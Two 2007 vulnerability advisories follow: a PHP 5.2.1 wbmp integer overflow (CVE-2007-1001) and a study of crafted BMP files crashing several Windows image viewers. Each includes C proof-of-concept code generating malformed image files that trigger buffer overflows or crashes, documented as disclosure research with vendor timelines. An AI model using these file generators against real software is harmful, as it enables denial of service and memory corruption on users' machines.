PHP <= 5.2.1 wbmp file handling integer overflow

There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the function readwbmp. If large enough values are specified for wbmp image height and/or width, so that width*height > 2^32, an integer overflow occurs on the following line

if ((wbmp->bitmap = (int *) safe_emalloc(wbmp->width * wbmp->height, sizeof(int), 0)) == NULL)

causing the amount of memory allocated to be smaller than the amount of data to be read, subsequently causing buffer overflow (See the DoS PoC below).

Upon discovery, I first thought this to be a LibGD issue, however the file wbmp.c is changed in LibGD (as early as in version 2.0.33 released in 2004) and does not have this overflow.

As the only values written in memory upon exploiting this can be (int)0 and (int)1, exploiting this for anything other then DoS seems highly unlikely.

Timeline

Feb 14 2007 - Vulnerability discovered
Mar 7 2007 - Vendor contacted
Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to fix it in PHP 5.2.2, which is to be released in April
Apr 7 2007 - Release of this advisory

Note: I was going to wait until the release of PHP 5.2.2 before publishing this, but seeing FrSIRT (and possibly others) already pubished it I am pushing the release forward a bit.

References

http://www.php.net/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001
http://www.frsirt.com/english/advisories/2007/1269

PoC

#define BUFSIZE 1000000

#include <stdio.h>

int main()
{
int c;
char buf[BUFSIZE];

FILE *fp = fopen("test.wbmp","w");

//write header
c = 0;
fputc(c,fp);
fputc(c,fp);

//write width = 2^32 / 4 + 1
c = 0x84;
fputc(c,fp);
c = 0x80;
fputc(c,fp);
fputc(c,fp);
fputc(c,fp);
c = 0x01;
fputc(c,fp);

//write height = 4
c = 0x04;
fputc(c,fp);

//write some data to cause overflow
fwrite(buf,sizeof(buf),1,fp);

fclose(fp);
}


<?php
$image = imagecreatefromwbmp('test.wbmp'); //overflow occurs
?>?

Several Windows image viewers vulnerabilities

Table of contents

1. Introduction
2. Description of experiments
3. Image viewers
4. Experimental results
5. Concluding remarks

Appendix I - Timeline
Appendix II - A possible Win XP SP1 vulnerability
Appendix III - Source code


1. Introduction

The purpose of this post is to present a small research covering security of several popular Windows image viewers. Although, when discussing security of image viewing software, web browsers are usually implied, since they will be on the 'front lines' in the unsafe environment such as the Internet, there are cases in which you may open potentially dangerous image file with your favorite image viewer. Some examples are:

- If you click on the attachment in your email application
- If you click on a file in an archive (such as zip or rar) you downloaded or got by email
- If you open a file on a network shared folder
- If you download the file using p2p programs such as BitTorrent and eMule


2. Description of experiments

The experiments were conducted as follows: Several errornous windows bitmap (.bmp) files were specially crafted to cause buffer overflows in certain cases, if such cases are not handled properly by the opening application. Each of these images was opend with all of the viewers included in this research and unexpected viewer behavior was noted. Here is the list of images used with their short descriptions.

paletteof1.bmp
This file defines a colormap larger than 256 entries (max allowed)

paletteof2.bmp
Similar to paletteof1.bmp, except the colormap is even larger

rle8of1.bmp
Uses run-length encoded blocks that extend beyond the image dimensions

rle8of2.bmp
Similar to rle8of1 except errornous RLE blocks start with a different offset

rle8of3.bmp
Uses xoffset and yoffset command in RLE encoded bmp in order to escape past image boundaries, then uses non-RLE encoded blocks to write data

rle8of4.bmp
similar to rle8of4.bmp except it doesn't use xoffset and yoffset, but still specififies enough non-RLE encoded blocks to escape image boundaries

wh3intof.bmp
Image dimensions are set so that width*height*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided

wh4intof.bmp
Image dimensions are set so that width*height*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of bitmap bits to be smaller than the actual data provided

w3intof.bmp
Image dimensions are set so that width*3 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided

w4intof.bmp
Image dimensions are set so that width*4 causes integer overflow in 32-bit processors thus causing the amount of memory allocated for the storage of a single bitmap row to be smaller than the actual data provided

The code used to generate all of the above images is provided in Appendix III, so you can use it to test your favorite image viewer if it was not included here.


3. Image viewers

Several popular image viewers were selected for this test. The most recent version of these viewers at the time of testing was used. The viewers are

ACDSee 9.0 Photo Manager
IrfranView 3.99
FastStone Image Viewer 2.9


4. Experimental results

Test system: Windows XP SP2 on Mobile AMD Sempron 3000+, 512MB RAM

ACDSee 9.0 Photo Manager

w4intof.bmp - Application closes

ACDSee 9.0 Quick View

w3intof.bmp - Microsoft Visual C++ Runtime Library: Runtime Error
w4intof.bmp - Application crashes, Exception code 0xc0000005 (access violation)

IrfranView 3.99

rle8of3.bmp - Application crashes, Exception code 0xc0000005 (access violation)
rle8of4.bmp - Application crashes, The memory could not be "written" Application error

FastStone Image Viewer 2.9

wh3intof.bmp - Application window closes, however application keeps running in the background consuming 100% of CPU resource
wh4intof.bmp - Application closes


5. Concluding remarks

All of the applications tested showed some sort of unpredicted behavior on some of the images, demonstrating the need to further enhance the security of products of this type. Accessing memory locations outside the allowed space, possible in some applications as demonstrated above, is especially dangerous since it has a potential for being exploited by a malicious hacker to execute arbitrary code on the unsuspecting user's computer. Other vulnerabilities should also not be disregarded since they could, in theory at least, be used in Dos attacks.
Since no actual code execution was analysed in detail, it is impossible to say from the above just what consequences could any of the above have. I leave this analysis to the vendors of applications tested.
Note that this small research only covers bmp images, so that the presence of various other vulnerabilities is also possible (if not probable) in the code used to handle decoding of images in other formats.
All in all, best be carefull next time you click on that image of Britney Spears' shaved ... head :-)


Appendix I - Timeline

Feb 15 2007 - Experiments made
Feb 18 2007 - 1st attempt to contact vendors
Feb 19 2007 - IrfranView programmer responded, said the code would be fixed in the upcoming version, due out soon
Feb 21 2007 - 2nd attempt to contact remaining vendors
Feb 23 2007 - Got response from ACD System support saying that they forwarded the information to the Quality Assurance and that they would contact me when they hear back from them. Never heard from them after that.
Apr 04 2007 - Release of this report

Note: It is possible that some of the bugs mentioned here were fixed quietly. I didn't check.


Appendix II - A possible Win XP SP1 vulnerability

On an old machine running Windows XP SP1 I encountered unusual behavior with one of my test images. When clicking on the w4intof.bmp in Windows Explorer (with the file details pane on the left of the window turned on) or viewing files as thumbnails in the containing folder, the Explorer crashes and Windows reports the exception code 0xc0000005, indicating a possible overflow. It is possible that Windows Explorer in SP1 too suffers from this kind of vulnerability. However I only had that one machine with SP1 installed and on the machines with other windows versions (such as XP SP2) I didn't encounter any unusual behavior. I wrote to Microsoft about this promply after discovery. They responded that they no longer support XP SP1 and this is not something they would investigate for for an out-of-support product.


Appendix III - Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


struct BITMAPFILEHEADER {
unsigned int bfSize;
unsigned int bfReserved;
unsigned int bfOffBits;
};

struct BITMAPINFOHEADER {
unsigned int biSize;
unsigned int biWidth;
unsigned int biHeight;
unsigned short biPlanes;
unsigned short biBitCount;
unsigned int biCompression;
unsigned int biSizeImage;
unsigned int biXPelsPerMeter;
unsigned int biYPelsPerMeter;
unsigned int biClrUsed;
unsigned int biClrImportant;
};

void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {
BITMAPFILEHEADER fileheader;
BITMAPINFOHEADER infoheader;

memset(&fileheader,0,sizeof(BITMAPFILEHEADER));
memset(&infoheader,0,sizeof(BITMAPINFOHEADER));

unsigned char sig[2];
sig[0] = 'B';
sig[1] = 'M';

fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;
fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;

infoheader.biSize = 40;
infoheader.biWidth = width;
infoheader.biHeight = height;
infoheader.biPlanes = 1;
infoheader.biBitCount = bpp;
infoheader.biCompression = compression;
infoheader.biClrUsed = numpalettecolors;

FILE *fp = fopen(filename,"wb");
fwrite(&sig,sizeof(sig),1,fp);
fwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp);
fwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp);
if(palette) fwrite(palette,numpalettecolors*4,1,fp);
fwrite(data,numdatabytes,1,fp);
fclose(fp);
}

int main() {
unsigned char * buf;
buf = (unsigned char *)malloc(4000000);
memset(buf,0,4000000);
unsigned char * buf2;
buf2 = (unsigned char *)malloc(4000000);
memset(buf2,0,4000000);

//overflows specifying too large palette
writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16);
writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16);
writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16);

//integer overflows with image dimensions
writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4);
writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000);
writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000);
writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000);
writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000);

//overflows with RLE encoded BMPs
buf2[0]=16;
buf2[1]=0;
writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2);
for(long i=0;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000);
buf2[0]=15;
buf2[1]=0;
for(long i=1;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
buf2[0]=0;
buf2[1]=2;
buf2[2]=255;
buf2[3]=0;
for(long i=4;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
for(long i=0;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000);
}